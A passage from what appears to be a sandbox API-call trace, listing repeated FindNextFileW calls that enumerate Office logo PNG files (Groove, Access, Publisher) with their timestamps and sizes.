ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-140.png", cAlternateFileName="GRF6AB~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-180.png", cAlternateFileName="GRC8DD~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-80.png", cAlternateFileName="GRE586~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-100.png", cAlternateFileName="GREDEF~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-140.png", cAlternateFileName="GR1CBD~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-180.png", cAlternateFileName="GR6942~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-80.png", cAlternateFileName="GR3369~1.PNG")) returned 1 [0189.700] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-100.png", cAlternateFileName="MS0237~1.PNG")) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-140.png", cAlternateFileName="MS6F5E~1.PNG")) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-180.png", cAlternateFileName="MSA13D~1.PNG")) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-80.png", cAlternateFileName="MSACCE~1.PNG")) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-100.png", cAlternateFileName="MS13E6~1.PNG")) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-140.png", cAlternateFileName="MSACCE~4.PNG")) returned 1 [0189.701] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x132f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-180.png", cAlternateFileName="MSACCE~3.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-80.png", cAlternateFileName="MSACCE~2.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc35, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-100.png", cAlternateFileName="MS31C8~1.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-140.png", cAlternateFileName="MS30DC~1.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-180.png", cAlternateFileName="MS72AB~1.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-80.png", cAlternateFileName="MS2629~1.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MS631D~1.PNG")) returned 1 [0189.702] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS214E~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MS7EC2~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MS389C~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS74CC~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA29A~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSFF1F~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MSE33B~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-100.png", cAlternateFileName="MSBF6D~1.PNG")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-140.png", cAlternateFileName="MS1EB3~1.PNG")) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-180.png", cAlternateFileName="MSDBE4~1.PNG")) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-80.png", cAlternateFileName="MSF5B2~1.PNG")) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-100.png", cAlternateFileName="MSPUBL~4.PNG")) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-140.png", cAlternateFileName="MSPUBL~3.PNG")) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-180.png", cAlternateFileName="MSPUBL~2.PNG")) returned 1 [0189.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-80.png", cAlternateFileName="MSPUBL~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-100.png", cAlternateFileName="MSF61D~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-140.png", cAlternateFileName="MS39EB~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-180.png", cAlternateFileName="MSEB57~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-80.png", cAlternateFileName="MS7453~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x892, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-100.png", cAlternateFileName="MSAA06~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-140.png", cAlternateFileName="MSD8D3~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-180.png", cAlternateFileName="MS2668~1.PNG")) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-80.png", cAlternateFileName="MS75BF~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MSD973~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: 